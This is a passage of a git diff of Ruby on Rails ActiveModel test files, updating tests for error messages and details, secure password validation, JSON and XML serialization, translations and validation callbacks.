+    assert person.errors.added?(:name, "cannot be blank")
   end
 
   test "added? handles symbol message" do
@@ -148,7 +171,7 @@ class ErrorsTest < ActiveModel::TestCase
 
   test "added? handles proc messages" do
     person = Person.new
-    message = Proc.new { "can not be blank" }
+    message = Proc.new { "cannot be blank" }
     person.errors.add(:name, message)
     assert person.errors.added?(:name, message)
   end
@@ -161,9 +184,9 @@ class ErrorsTest < ActiveModel::TestCase
 
   test "added? matches the given message when several errors are present for the same attribute" do
     person = Person.new
-    person.errors.add(:name, "can not be blank")
+    person.errors.add(:name, "cannot be blank")
     person.errors.add(:name, "is invalid")
-    assert person.errors.added?(:name, "can not be blank")
+    assert person.errors.added?(:name, "cannot be blank")
   end
 
   test "added? returns false when no errors are present" do
@@ -174,52 +197,52 @@ class ErrorsTest < ActiveModel::TestCase
   test "added? returns false when checking a nonexisting error and other errors are present for the given attribute" do
     person = Person.new
     person.errors.add(:name, "is invalid")
-    assert !person.errors.added?(:name, "can not be blank")
+    assert !person.errors.added?(:name, "cannot be blank")
   end
 
   test "size calculates the number of error messages" do
     person = Person.new
-    person.errors.add(:name, "can not be blank")
+    person.errors.add(:name, "cannot be blank")
     assert_equal 1, person.errors.size
   end
 
   test "to_a returns the list of errors with complete messages containing the attribute names" do
     person = Person.new
-    person.errors.add(:name, "can not be blank")
-    person.errors.add(:name, "can not be nil")
-    assert_equal ["name can not be blank", "name can not be nil"], person.errors.to_a
+    person.errors.add(:name, "cannot be blank")
+    person.errors.add(:name, "cannot be nil")
+    assert_equal ["name cannot be blank", "name cannot be nil"], person.errors.to_a
   end
 
   test "to_hash returns the error messages hash" do
     person = Person.new
-    person.errors.add(:name, "can not be blank")
-    assert_equal({ name: ["can not be blank"] }, person.errors.to_hash)
+    person.errors.add(:name, "cannot be blank")
+    assert_equal({ name: ["cannot be blank"] }, person.errors.to_hash)
   end
 
   test "full_messages creates a list of error messages with the attribute name included" do
     person = Person.new
-    person.errors.add(:name, "can not be blank")
-    person.errors.add(:name, "can not be nil")
-    assert_equal ["name can not be blank", "name can not be nil"], person.errors.full_messages
+    person.errors.add(:name, "cannot be blank")
+    person.errors.add(:name, "cannot be nil")
+    assert_equal ["name cannot be blank", "name cannot be nil"], person.errors.full_messages
   end
 
   test "full_messages_for contains all the error messages for the given attribute" do
     person = Person.new
-    person.errors.add(:name, "can not be blank")
-    person.errors.add(:name, "can not be nil")
-    assert_equal ["name can not be blank", "name can not be nil"], person.errors.full_messages_for(:name)
+    person.errors.add(:name, "cannot be blank")
+    person.errors.add(:name, "cannot be nil")
+    assert_equal ["name cannot be blank", "name cannot be nil"], person.errors.full_messages_for(:name)
   end
 
   test "full_messages_for does not contain error messages from other attributes" do
     person = Person.new
-    person.errors.add(:name, "can not be blank")
-    person.errors.add(:email, "can not be blank")
-    assert_equal ["name can not be blank"], person.errors.full_messages_for(:name)
+    person.errors.add(:name, "cannot be blank")
+    person.errors.add(:email, "cannot be blank")
+    assert_equal ["name cannot be blank"], person.errors.full_messages_for(:name)
   end
 
   test "full_messages_for returns an empty list in case there are no errors for the given attribute" do
     person = Person.new
-    person.errors.add(:name, "can not be blank")
+    person.errors.add(:name, "cannot be blank")
     assert_equal [], person.errors.full_messages_for(:email)
   end
 
@@ -230,22 +253,22 @@ class ErrorsTest < ActiveModel::TestCase
 
   test "full_message returns the given message with the attribute name included" do
     person = Person.new
-    assert_equal "name can not be blank", person.errors.full_message(:name, "can not be blank")
-    assert_equal "name_test can not be blank", person.errors.full_message(:name_test, "can not be blank")
+    assert_equal "name cannot be blank", person.errors.full_message(:name, "cannot be blank")
+    assert_equal "name_test cannot be blank", person.errors.full_message(:name_test, "cannot be blank")
   end
 
   test "as_json creates a json formatted representation of the errors hash" do
     person = Person.new
     person.validate!
 
-    assert_equal({ name: ["can not be nil"] }, person.errors.as_json)
+    assert_equal({ name: ["cannot be nil"] }, person.errors.as_json)
   end
 
   test "as_json with :full_messages option creates a json formatted representation of the errors containing complete messages" do
     person = Person.new
     person.validate!
 
-    assert_equal({ name: ["name can not be nil"] }, person.errors.as_json(full_messages: true))
+    assert_equal({ name: ["name cannot be nil"] }, person.errors.as_json(full_messages: true))
   end
 
   test "generate_message works without i18n_scope" do
@@ -300,4 +323,46 @@ class ErrorsTest < ActiveModel::TestCase
     person.errors.expects(:generate_message).with(:name, :blank, { message: 'custom' })
     person.errors.add_on_blank :name, message: 'custom'
   end
+
+  test "details returns added error detail" do
+    person = Person.new
+    person.errors.add(:name, :invalid)
+    assert_equal({ name: [{ error: :invalid }] }, person.errors.details)
+  end
+
+  test "details returns added error detail with custom option" do
+    person = Person.new
+    person.errors.add(:name, :greater_than, count: 5)
+    assert_equal({ name: [{ error: :greater_than, count: 5 }] }, person.errors.details)
+  end
+
+  test "details do not include message option" do
+    person = Person.new
+    person.errors.add(:name, :invalid, message: "is bad")
+    assert_equal({ name: [{ error: :invalid }] }, person.errors.details)
+  end
+
+  test "dup duplicates details" do
+    errors = ActiveModel::Errors.new(Person.new)
+    errors.add(:name, :invalid)
+    errors_dup = errors.dup
+    errors_dup.add(:name, :taken)
+    assert_not_equal errors_dup.details, errors.details
+  end
+
+  test "delete removes details on given attribute" do
+    errors = ActiveModel::Errors.new(Person.new)
+    errors.add(:name, :invalid)
+    errors.delete(:name)
+    assert_empty errors.details[:name]
+  end
+
+  test "clear removes details" do
+    person = Person.new
+    person.errors.add(:name, :invalid)
+
+    assert_equal 1, person.errors.details.count
+    person.errors.clear
+    assert person.errors.details.empty?
+  end
 end
diff --git a/activemodel/test/cases/helper.rb b/activemodel/test/cases/helper.rb
index 7a63674757..4ce6103593 100644
--- a/activemodel/test/cases/helper.rb
+++ b/activemodel/test/cases/helper.rb
@@ -7,4 +7,14 @@ require 'active_support/core_ext/string/access'
 # Show backtraces for deprecated behavior for quicker cleanup.
 ActiveSupport::Deprecation.debug = true
 
+# Disable available locale checks to avoid warnings running the test suite.
+I18n.enforce_available_locales = false
+
 require 'active_support/testing/autorun'
+
+require 'mocha/setup' # FIXME: stop using mocha
+
+# FIXME: we have tests that depend on run order, we should fix that and
+# remove this method call.
+require 'active_support/test_case'
+ActiveSupport::TestCase.test_order = :sorted
diff --git a/activemodel/test/cases/model_test.rb b/activemodel/test/cases/model_test.rb
index ee0fa26546..9a8d873ec9 100644
--- a/activemodel/test/cases/model_test.rb
+++ b/activemodel/test/cases/model_test.rb
@@ -70,6 +70,8 @@ class ModelTest < ActiveModel::TestCase
   end
 
   def test_mixin_initializer_when_args_dont_exist
-    assert_raises(NoMethodError) { SimpleModel.new(hello: 'world') }
+    assert_raises(ActiveModel::AttributeAssignment::UnknownAttributeError) do
+      SimpleModel.new(hello: 'world')
+    end
   end
 end
diff --git a/activemodel/test/cases/naming_test.rb b/activemodel/test/cases/naming_test.rb
index aa683f4152..7b8287edbf 100644
--- a/activemodel/test/cases/naming_test.rb
+++ b/activemodel/test/cases/naming_test.rb
@@ -272,3 +272,9 @@ class NameWithAnonymousClassTest < ActiveModel::TestCase
     assert_equal "Anonymous", model_name
   end
 end
+
+class NamingMethodDelegationTest < ActiveModel::TestCase
+  def test_model_name
+    assert_equal Blog::Post.model_name, Blog::Post.new.model_name
+  end
+end
diff --git a/activemodel/test/cases/secure_password_test.rb b/activemodel/test/cases/secure_password_test.rb
index 98e5c747d5..6d56c8344a 100644
--- a/activemodel/test/cases/secure_password_test.rb
+++ b/activemodel/test/cases/secure_password_test.rb
@@ -1,111 +1,218 @@
 require 'cases/helper'
 require 'models/user'
-require 'models/oauthed_user'
 require 'models/visitor'
-require 'models/administrator'
 
 class SecurePasswordTest < ActiveModel::TestCase
   setup do
+    # Used only to speed up tests
+    @original_min_cost = ActiveModel::SecurePassword.min_cost
     ActiveModel::SecurePassword.min_cost = true
 
     @user = User.new
     @visitor = Visitor.new
-    @oauthed_user = OauthedUser.new
+
+    # Simulate loading an existing user from the DB
+    @existing_user = User.new
+    @existing_user.password_digest = BCrypt::Password.create('password', cost: BCrypt::Engine::MIN_COST)
   end
 
   teardown do
-    ActiveModel::SecurePassword.min_cost = false
+    ActiveModel::SecurePassword.min_cost = @original_min_cost
   end
 
-  test "blank password" do
-    @user.password = @visitor.password = ''
+  test "automatically include ActiveModel::Validations when validations are enabled" do
+    assert_respond_to @user, :valid?
+  end
+
+  test "don't include ActiveModel::Validations when validations are disabled" do
+    assert_not_respond_to @visitor, :valid?
+  end
+
+  test "create a new user with validations and valid password/confirmation" do
+    @user.password = 'password'
+    @user.password_confirmation = 'password'
+
+    assert @user.valid?(:create), 'user should be valid'
+
+    @user.password = 'a' * 72
+    @user.password_confirmation = 'a' * 72
+
+    assert @user.valid?(:create), 'user should be valid'
+  end
+
+  test "create a new user with validation and a spaces only password" do
+    @user.password = ' ' * 72
+    assert @user.valid?(:create), 'user should be valid'
+  end
+
+  test "create a new user with validation and a blank password" do
+    @user.password = ''
     assert !@user.valid?(:create), 'user should be invalid'
-    assert @visitor.valid?(:create), 'visitor should be valid'
+    assert_equal 1, @user.errors.count
+    assert_equal ["can't be blank"], @user.errors[:password]
   end
 
-  test "nil password" do
-    @user.password = @visitor.password = nil
+  test "create a new user with validation and a nil password" do
+    @user.password = nil
     assert !@user.valid?(:create), 'user should be invalid'
-    assert @visitor.valid?(:create), 'visitor should be valid'
+    assert_equal 1, @user.errors.count
+    assert_equal ["can't be blank"], @user.errors[:password]
   end
 
-  test "blank password doesn't override previous password" do
-    @user.password = 'test'
-    @user.password = ''
-    assert_equal @user.password, 'test'
+  test 'create a new user with validation and password length greater than 72' do
+    @user.password = 'a' * 73
+    @user.password_confirmation = 'a' * 73
+    assert !@user.valid?(:create), 'user should be invalid'
+    assert_equal 1, @user.errors.count
+    assert_equal ["is too long (maximum is 72 characters)"], @user.errors[:password]
   end
 
-  test "password must be present" do
-    assert !@user.valid?(:create)
-    assert_equal 1, @user.errors.size
+  test "create a new user with validation and a blank password confirmation" do
+    @user.password = 'password'
+    @user.password_confirmation = ''
+    assert !@user.valid?(:create), 'user should be invalid'
+    assert_equal 1, @user.errors.count
+    assert_equal ["doesn't match Password"], @user.errors[:password_confirmation]
   end
 
-  test "match confirmation" do
-    @user.password = @visitor.password = "thiswillberight"
-    @user.password_confirmation = @visitor.password_confirmation = "wrong"
+  test "create a new user with validation and a nil password confirmation" do
+    @user.password = 'password'
+    @user.password_confirmation = nil
+    assert @user.valid?(:create), 'user should be valid'
+  end
+
+  test "create a new user with validation and an incorrect password confirmation" do
+    @user.password = 'password'
+    @user.password_confirmation = 'something else'
+    assert !@user.valid?(:create), 'user should be invalid'
+    assert_equal 1, @user.errors.count
+    assert_equal ["doesn't match Password"], @user.errors[:password_confirmation]
+  end
 
-    assert !@user.valid?
-    assert @visitor.valid?
+  test "update an existing user with validation and no change in password" do
+    assert @existing_user.valid?(:update), 'user should be valid'
+  end
+
+  test "update an existing user with validations and valid password/confirmation" do
+    @existing_user.password = 'password'
+    @existing_user.password_confirmation = 'password'
 
-    @user.password_confirmation = "thiswillberight"
+    assert @existing_user.valid?(:update), 'user should be valid'
 
-    assert @user.valid?
+    @existing_user.password = 'a' * 72
+    @existing_user.password_confirmation = 'a' * 72
+
+    assert @existing_user.valid?(:update), 'user should be valid'
   end
 
-  test "authenticate" do
-    @user.password = "secret"
+  test "updating an existing user with validation and a blank password" do
+    @existing_user.password = ''
+    assert @existing_user.valid?(:update), 'user should be valid'
+  end
 
-    assert !@user.authenticate("wrong")
-    assert @user.authenticate("secret")
+  test "updating an existing user with validation and a spaces only password" do
+    @user.password = ' ' * 72
+    assert @user.valid?(:update), 'user should be valid'
   end
 
-  test "User should not be created with blank digest" do
-    assert_raise RuntimeError do
-      @user.run_callbacks :create
-    end
-    @user.password = "supersecretpassword"
-    assert_nothing_raised do
-      @user.run_callbacks :create
-    end
+  test "updating an existing user with validation and a blank password and password_confirmation" do
+    @existing_user.password = ''
+    @existing_user.password_confirmation = ''
+    assert @existing_user.valid?(:update), 'user should be valid'
   end
 
-  test "Oauthed user can be created with blank digest" do
-    assert_nothing_raised do
-      @oauthed_user.run_callbacks :create
-    end
+  test "updating an existing user with validation and a nil password" do
+    @existing_user.password = nil
+    assert !@existing_user.valid?(:update), 'user should be invalid'
+    assert_equal 1, @existing_user.errors.count
+    assert_equal ["can't be blank"], @existing_user.errors[:password]
   end
 
-  test "Password digest cost defaults to bcrypt default cost when min_cost is false" do
-    ActiveModel::SecurePassword.min_cost = false
+  test 'updating an existing user with validation and password length greater than 72' do
+    @existing_user.password = 'a' * 73
+    @existing_user.password_confirmation = 'a' * 73
+    assert !@existing_user.valid?(:update), 'user should be invalid'
+    assert_equal 1, @existing_user.errors.count
+    assert_equal ["is too long (maximum is 72 characters)"], @existing_user.errors[:password]
+  end
 
-    @user.password = "secret"
-    assert_equal BCrypt::Engine::DEFAULT_COST, @user.password_digest.cost
+  test "updating an existing user with validation and a blank password confirmation" do
+    @existing_user.password = 'password'
+    @existing_user.password_confirmation = ''
+    assert !@existing_user.valid?(:update), 'user should be invalid'
+    assert_equal 1, @existing_user.errors.count
+    assert_equal ["doesn't match Password"], @existing_user.errors[:password_confirmation]
   end
 
-  test "Password digest cost can be set to bcrypt min cost to speed up tests" do
-    ActiveModel::SecurePassword.min_cost = true
+  test "updating an existing user with validation and a nil password confirmation" do
+    @existing_user.password = 'password'
+    @existing_user.password_confirmation = nil
+    assert @existing_user.valid?(:update), 'user should be valid'
+  end
+
+  test "updating an existing user with validation and an incorrect password confirmation" do
+    @existing_user.password = 'password'
+    @existing_user.password_confirmation = 'something else'
+    assert !@existing_user.valid?(:update), 'user should be invalid'
+    assert_equal 1, @existing_user.errors.count
+    assert_equal ["doesn't match Password"], @existing_user.errors[:password_confirmation]
+  end
+
+  test "updating an existing user with validation and a blank password digest" do
+    @existing_user.password_digest = ''
+    assert !@existing_user.valid?(:update), 'user should be invalid'
+    assert_equal 1, @existing_user.errors.count
+    assert_equal ["can't be blank"], @existing_user.errors[:password]
+  end
+
+  test "updating an existing user with validation and a nil password digest" do
+    @existing_user.password_digest = nil
+    assert !@existing_user.valid?(:update), 'user should be invalid'
+    assert_equal 1, @existing_user.errors.count
+    assert_equal ["can't be blank"], @existing_user.errors[:password]
+  end
+
+  test "setting a blank password should not change an existing password" do
+    @existing_user.password = ''
+    assert @existing_user.password_digest == 'password'
+  end
+
+  test "setting a nil password should clear an existing password" do
+    @existing_user.password = nil
+    assert_equal nil, @existing_user.password_digest
+  end
 
+  test "authenticate" do
     @user.password = "secret"
-    assert_equal BCrypt::Engine::MIN_COST, @user.password_digest.cost
+
+    assert !@user.authenticate("wrong")
+    assert @user.authenticate("secret")
   end
 
-  test "blank password_confirmation does not result in a confirmation error" do
-    @user.password = ""
-    @user.password_confirmation = ""
-    assert @user.valid?(:update), "user should be valid"
+  test "Password digest cost defaults to bcrypt default cost when min_cost is false" do
+    ActiveModel::SecurePassword.min_cost = false
+
+    @user.password = "secret"
+    assert_equal BCrypt::Engine::DEFAULT_COST, @user.password_digest.cost
   end
 
-  test "password_confirmation validations will not be triggered if password_confirmation is not sent" do
-    @user.password = "password"
-    assert @user.valid?(:create)
+  test "Password digest cost honors bcrypt cost attribute when min_cost is false" do
+    begin
+      original_bcrypt_cost = BCrypt::Engine.cost
+      ActiveModel::SecurePassword.min_cost = false
+      BCrypt::Engine.cost = 5
+
+      @user.password = "secret"
+      assert_equal BCrypt::Engine.cost, @user.password_digest.cost
+    ensure
+      BCrypt::Engine.cost = original_bcrypt_cost
+    end
   end
 
-  test "will not save if confirmation is blank but password is not" do
-    @user.password = "password"
-    @user.password_confirmation = ""
-    assert_not @user.valid?(:create)
+  test "Password digest cost can be set to bcrypt min cost to speed up tests" do
+    ActiveModel::SecurePassword.min_cost = true
 
-    @user.password_confirmation = "password"
-    assert @user.valid?(:create)
+    @user.password = "secret"
+    assert_equal BCrypt::Engine::MIN_COST, @user.password_digest.cost
   end
 end
diff --git a/activemodel/test/cases/serializers/json_serialization_test.rb b/activemodel/test/cases/serializers/json_serialization_test.rb
index e4f5e61e91..e2eb91eeb0 100644
--- a/activemodel/test/cases/serializers/json_serialization_test.rb
+++ b/activemodel/test/cases/serializers/json_serialization_test.rb
@@ -1,25 +1,7 @@
 require 'cases/helper'
 require 'models/contact'
-require 'models/automobile'
 require 'active_support/core_ext/object/instance_variables'
 
-class Contact
-  include ActiveModel::Serializers::JSON
-  include ActiveModel::Validations
-
-  def attributes=(hash)
-    hash.each do |k, v|
-      instance_variable_set("@#{k}", v)
-    end
-  end
-
-  remove_method :attributes if method_defined?(:attributes)
-
-  def attributes
-    instance_values
-  end
-end
-
 class JsonSerializationTest < ActiveModel::TestCase
   def setup
     @contact = Contact.new
@@ -30,11 +12,6 @@ class JsonSerializationTest < ActiveModel::TestCase
     @contact.preferences = { 'shows' => 'anime' }
   end
 
-  def teardown
-    # set to the default value
-    Contact.include_root_in_json = false
-  end
-
   test "should not include root in json (class method)" do
     json = @contact.to_json
 
@@ -47,19 +24,25 @@ class JsonSerializationTest < ActiveModel::TestCase
   end
 
   test "should include root in json if include_root_in_json is true" do
-    Contact.include_root_in_json = true
-    json = @contact.to_json
-
-    assert_match %r{^\{"contact":\{}, json
-    assert_match %r{"name":"Konata Izumi"}, json
-    assert_match %r{"age":16}, json
-    assert json.include?(%("created_at":#{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))}))
-    assert_match %r{"awesome":true}, json
-    assert_match %r{"preferences":\{"shows":"anime"\}}, json
+    begin
+      original_include_root_in_json = Contact.include_root_in_json
+      Contact.include_root_in_json = true
+      json = @contact.to_json
+
+      assert_match %r{^\{"contact":\{}, json
+      assert_match %r{"name":"Konata Izumi"}, json
+      assert_match %r{"age":16}, json
+      assert json.include?(%("created_at":#{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))}))
+      assert_match %r{"awesome":true}, json
+      assert_match %r{"preferences":\{"shows":"anime"\}}, json
+    ensure
+      Contact.include_root_in_json = original_include_root_in_json
+    end
   end
 
   test "should include root in json (option) even if the default is set to false" do
     json = @contact.to_json(root: true)
+
     assert_match %r{^\{"contact":\{}, json
   end
 
@@ -145,13 +128,18 @@ class JsonSerializationTest < ActiveModel::TestCase
   end
 
   test "as_json should return a hash if include_root_in_json is true" do
-    Contact.include_root_in_json = true
-    json = @contact.as_json
-
-    assert_kind_of Hash, json
-    assert_kind_of Hash, json['contact']
-    %w(name age created_at awesome preferences).each do |field|
-      assert_equal @contact.send(field), json['contact'][field]
+    begin
+      original_include_root_in_json = Contact.include_root_in_json
+      Contact.include_root_in_json = true
+      json = @contact.as_json
+
+      assert_kind_of Hash, json
+      assert_kind_of Hash, json['contact']
+      %w(name age created_at awesome preferences).each do |field|
+        assert_equal @contact.send(field), json['contact'][field]
+      end
+    ensure
+      Contact.include_root_in_json = original_include_root_in_json
     end
   end
 
@@ -198,7 +186,7 @@ class JsonSerializationTest < ActiveModel::TestCase
     assert_no_match %r{"preferences":}, json
   end
 
-  test "custom as_json options should be extendible" do
+  test "custom as_json options should be extensible" do
     def @contact.as_json(options = {}); super(options.merge(only: [:name])); end
     json = @contact.to_json
 
diff --git a/activemodel/test/cases/serializers/xml_serialization_test.rb b/activemodel/test/cases/serializers/xml_serialization_test.rb
index 11ee17bb27..22fca5bd17 100644
--- a/activemodel/test/cases/serializers/xml_serialization_test.rb
+++ b/activemodel/test/cases/serializers/xml_serialization_test.rb
@@ -3,18 +3,6 @@ require 'models/contact'
 require 'active_support/core_ext/object/instance_variables'
 require 'ostruct'
 
-class Contact
-  include ActiveModel::Serializers::Xml
-
-  attr_accessor :address, :friends, :contact
-
-  remove_method :attributes if method_defined?(:attributes)
-
-  def attributes
-    instance_values.except("address", "friends", "contact")
-  end
-end
-
 module Admin
   class Contact < ::Contact
   end
@@ -57,48 +45,48 @@ class XmlSerializationTest < ActiveModel::TestCase
   end
 
   test "should serialize default root" do
-    @xml = @contact.to_xml
-    assert_match %r{^<contact>},  @xml
-    assert_match %r{</contact>$}, @xml
+    xml = @contact.to_xml
+    assert_match %r{^<contact>},  xml
+    assert_match %r{</contact>$}, xml
   end
 
   test "should serialize namespaced root" do
-    @xml = Admin::Contact.new(@contact.attributes).to_xml
-    assert_match %r{^<contact>},  @xml
-    assert_match %r{</contact>$}, @xml
+    xml = Admin::Contact.new(@contact.attributes).to_xml
+    assert_match %r{^<contact>},  xml
+    assert_match %r{</contact>$}, xml
   end
 
   test "should serialize default root with namespace" do
-    @xml = @contact.to_xml namespace: "http://xml.rubyonrails.org/contact"
-    assert_match %r{^<contact xmlns="http://xml.rubyonrails.org/contact">}, @xml
-    assert_match %r{</contact>$}, @xml
+    xml = @contact.to_xml namespace: "http://xml.rubyonrails.org/contact"
+    assert_match %r{^<contact xmlns="http://xml.rubyonrails.org/contact">}, xml
+    assert_match %r{</contact>$}, xml
   end
 
   test "should serialize custom root" do
-    @xml = @contact.to_xml root: 'xml_contact'
-    assert_match %r{^<xml-contact>},  @xml
-    assert_match %r{</xml-contact>$}, @xml
+    xml = @contact.to_xml root: 'xml_contact'
+    assert_match %r{^<xml-contact>},  xml
+    assert_match %r{</xml-contact>$}, xml
   end
 
   test "should allow undasherized tags" do
-    @xml = @contact.to_xml root: 'xml_contact', dasherize: false
-    assert_match %r{^<xml_contact>},  @xml
-    assert_match %r{</xml_contact>$}, @xml
-    assert_match %r{<created_at},     @xml
+    xml = @contact.to_xml root: 'xml_contact', dasherize: false
+    assert_match %r{^<xml_contact>},  xml
+    assert_match %r{</xml_contact>$}, xml
+    assert_match %r{<created_at},     xml
   end
 
   test "should allow camelized tags" do
-    @xml = @contact.to_xml root: 'xml_contact', camelize: true
-    assert_match %r{^<XmlContact>},  @xml
-    assert_match %r{</XmlContact>$}, @xml
-    assert_match %r{<CreatedAt},     @xml
+    xml = @contact.to_xml root: 'xml_contact', camelize: true
+    assert_match %r{^<XmlContact>},  xml
+    assert_match %r{</XmlContact>$}, xml
+    assert_match %r{<CreatedAt},     xml
   end
 
   test "should allow lower-camelized tags" do
-    @xml = @contact.to_xml root: 'xml_contact', camelize: :lower
-    assert_match %r{^<xmlContact>},  @xml
-    assert_match %r{</xmlContact>$}, @xml
-    assert_match %r{<createdAt},     @xml
+    xml = @contact.to_xml root: 'xml_contact', camelize: :lower
+    assert_match %r{^<xmlContact>},  xml
+    assert_match %r{</xmlContact>$}, xml
+    assert_match %r{<createdAt},     xml
   end
 
   test "should use serializable hash" do
@@ -106,22 +94,22 @@ class XmlSerializationTest < ActiveModel::TestCase
     @contact.name = 'aaron stack'
     @contact.age = 25
 
-    @xml = @contact.to_xml
-    assert_match %r{<name>aaron stack</name>}, @xml
-    assert_match %r{<age type="integer">25</age>}, @xml
-    assert_no_match %r{<awesome>}, @xml
+    xml = @contact.to_xml
+    assert_match %r{<name>aaron stack</name>}, xml
+    assert_match %r{<age type="integer">25</age>}, xml
+    assert_no_match %r{<awesome>}, xml
   end
 
   test "should allow skipped types" do
-    @xml = @contact.to_xml skip_types: true
-    assert_match %r{<age>25</age>}, @xml
+    xml = @contact.to_xml skip_types: true
+    assert_match %r{<age>25</age>}, xml
   end
 
   test "should include yielded additions" do
-    @xml = @contact.to_xml do |xml|
+    xml_output = @contact.to_xml do |xml|
       xml.creator "David"
     end
-    assert_match %r{<creator>David</creator>}, @xml
+    assert_match %r{<creator>David</creator>}, xml_output
   end
 
   test "should serialize string" do
@@ -162,7 +150,7 @@ class XmlSerializationTest < ActiveModel::TestCase
     assert_match %r{<nationality>unknown</nationality>}, xml
   end
 
-  test 'should supply serializable to second proc argument' do
+  test "should supply serializable to second proc argument" do
     proc = Proc.new { |options, record| options[:builder].tag!('name-reverse', record.name.reverse) }
     xml = @contact.to_xml(procs: [ proc ])
     assert_match %r{<name-reverse>kcats noraa</name-reverse>}, xml
diff --git a/activemodel/test/cases/translation_test.rb b/activemodel/test/cases/translation_test.rb
index deb4e1ed0a..cedc812ec7 100644
--- a/activemodel/test/cases/translation_test.rb
+++ b/activemodel/test/cases/translation_test.rb
@@ -7,6 +7,10 @@ class ActiveModelI18nTests < ActiveModel::TestCase
     I18n.backend = I18n::Backend::Simple.new
   end
 
+  def teardown
+    I18n.backend.reload!
+  end
+
   def test_translated_model_attributes
     I18n.backend.store_translations 'en', activemodel: { attributes: { person: { name: 'person name attribute' } } }
     assert_equal 'person name attribute', Person.human_attribute_name('name')
diff --git a/activemodel/test/cases/validations/absence_validation_test.rb b/activemodel/test/cases/validations/absence_validation_test.rb
index c05d71de5a..9cbc77dfb5 100644
--- a/activemodel/test/cases/validations/absence_validation_test.rb
+++ b/activemodel/test/cases/validations/absence_validation_test.rb
@@ -1,4 +1,3 @@
-# encoding: utf-8
 require 'cases/helper'
 require 'models/topic'
 require 'models/person'
@@ -6,12 +5,12 @@ require 'models/custom_reader'
 
 class AbsenceValidationTest < ActiveModel::TestCase
   teardown do
-    Topic.reset_callbacks(:validate)
-    Person.reset_callbacks(:validate)
-    CustomReader.reset_callbacks(:validate)
+    Topic.clear_validators!
+    Person.clear_validators!
+    CustomReader.clear_validators!
   end
 
-  def test_validate_absences
+  def test_validates_absence_of
     Topic.validates_absence_of(:title, :content)
     t = Topic.new
     t.title = "foo"
@@ -23,11 +22,12 @@ class AbsenceValidationTest < ActiveModel::TestCase
     t.content  = "something"
     assert t.invalid?
     assert_equal ["must be blank"], t.errors[:content]
+    assert_equal [], t.errors[:title]
     t.content = ""
     assert t.valid?
   end
 
-  def test_accepts_array_arguments
+  def test_validates_absence_of_with_array_arguments
     Topic.validates_absence_of %w(title content)
     t = Topic.new
     t.title = "foo"
@@ -37,7 +37,7 @@ class AbsenceValidationTest < ActiveModel::TestCase
     assert_equal ["must be blank"], t.errors[:content]
   end
 
-  def test_validates_acceptance_of_with_custom_error_using_quotes
+  def test_validates_absence_of_with_custom_error_using_quotes
     Person.validates_absence_of :karma, message: "This string contains 'single' and \"double\" quotes"
     p = Person.new
     p.karma = "good"
diff --git a/activemodel/test/cases/validations/acceptance_validation_test.rb b/activemodel/test/cases/validations/acceptance_validation_test.rb
index dc413bef30..9c2114d83d 100644
--- a/activemodel/test/cases/validations/acceptance_validation_test.rb
+++ b/activemodel/test/cases/validations/acceptance_validation_test.rb
@@ -1,4 +1,3 @@
-# encoding: utf-8
 require 'cases/helper'
 
 require 'models/topic'
@@ -8,7 +7,7 @@ require 'models/person'
 class AcceptanceValidationTest < ActiveModel::TestCase
 
   def teardown
-    Topic.reset_callbacks(:validate)
+    Topic.clear_validators!
   end
 
   def test_terms_of_service_agreement_no_acceptance
@@ -63,6 +62,12 @@ class AcceptanceValidationTest < ActiveModel::TestCase
     p.karma = "1"
     assert p.valid?
   ensure
-    Person.reset_callbacks(:validate)
+    Person.clear_validators!
+  end
+
+  def test_validates_acceptance_of_true
+    Topic.validates_acceptance_of(:terms_of_service)
+
+    assert Topic.new(terms_of_service: true).valid?
   end
 end
diff --git a/activemodel/test/cases/validations/callbacks_test.rb b/activemodel/test/cases/validations/callbacks_test.rb
index 6cd0f4ed4d..75eb18e795 100644
--- a/activemodel/test/cases/validations/callbacks_test.rb
+++ b/activemodel/test/cases/validations/callbacks_test.rb
@@ -1,4 +1,3 @@
-# encoding: utf-8
 require 'cases/helper'
 
 class Dog
@@ -30,16 +29,34 @@ class DogWithTwoValidators < Dog
   before_validation { self.history << 'before_validation_marker2' }
 end
 
-class DogValidatorReturningFalse < Dog
+class DogDeprecatedBeforeValidatorReturningFalse < Dog
   before_validation { false }
   before_validation { self.history << 'before_validation_marker2' }
 end
 
+class DogBeforeValidatorThrowingAbort < Dog
+  before_validation { throw :abort }
+  before_validation { self.history << 'before_validation_marker2' }
+end
+
+class DogAfterValidatorReturningFalse < Dog
+  after_validation { false }
+  after_validation { self.history << 'after_validation_marker' }
+end
+
 class DogWithMissingName < Dog
   before_validation { self.history << 'before_validation_marker' }
   validates_presence_of :name
 end
 
+class DogValidatorWithOnCondition < Dog
+  before_validation :set_before_validation_marker, on: :create
+  after_validation :set_after_validation_marker, on: :create
+
+  def set_before_validation_marker; self.history << 'before_validation_marker'; end
+  def set_after_validation_marker;  self.history << 'after_validation_marker' ; end
+end
+
 class DogValidatorWithIfCondition < Dog
   before_validation :set_before_validation_marker1, if: -> { true }
   before_validation :set_before_validation_marker2, if: -> { false }
@@ -63,6 +80,24 @@ class CallbacksWithMethodNamesShouldBeCalled < ActiveModel::TestCase
     assert_equal ["before_validation_marker1", "after_validation_marker1"], d.history
   end
 
+  def test_on_condition_is_respected_for_validation_with_matching_context
+    d = DogValidatorWithOnCondition.new
+    d.valid?(:create)
+    assert_equal ["before_validation_marker", "after_validation_marker"], d.history
+  end
+
+  def test_on_condition_is_respected_for_validation_without_matching_context
+    d = DogValidatorWithOnCondition.new
+    d.valid?(:save)
+    assert_equal [], d.history
+  end
+
+  def test_on_condition_is_respected_for_validation_without_context
+    d = DogValidatorWithOnCondition.new
+    d.valid?
+    assert_equal [], d.history
+  end
+
   def test_before_validation_and_after_validation_callbacks_should_be_called
     d = DogWithMethodCallbacks.new
     d.valid?
@@ -81,13 +116,28 @@ class CallbacksWithMethodNamesShouldBeCalled < ActiveModel::TestCase
     assert_equal ['before_validation_marker1', 'before_validation_marker2'], d.history
   end
 
-  def test_further_callbacks_should_not_be_called_if_before_validation_returns_false
-    d = DogValidatorReturningFalse.new
+  def test_further_callbacks_should_not_be_called_if_before_validation_throws_abort
+    d = DogBeforeValidatorThrowingAbort.new
     output = d.valid?
     assert_equal [], d.history
     assert_equal false, output
   end
 
+  def test_deprecated_further_callbacks_should_not_be_called_if_before_validation_returns_false
+    d = DogDeprecatedBeforeValidatorReturningFalse.new
+    assert_deprecated do
+      output = d.valid?
+      assert_equal [], d.history
+      assert_equal false, output
+    end
+  end
+
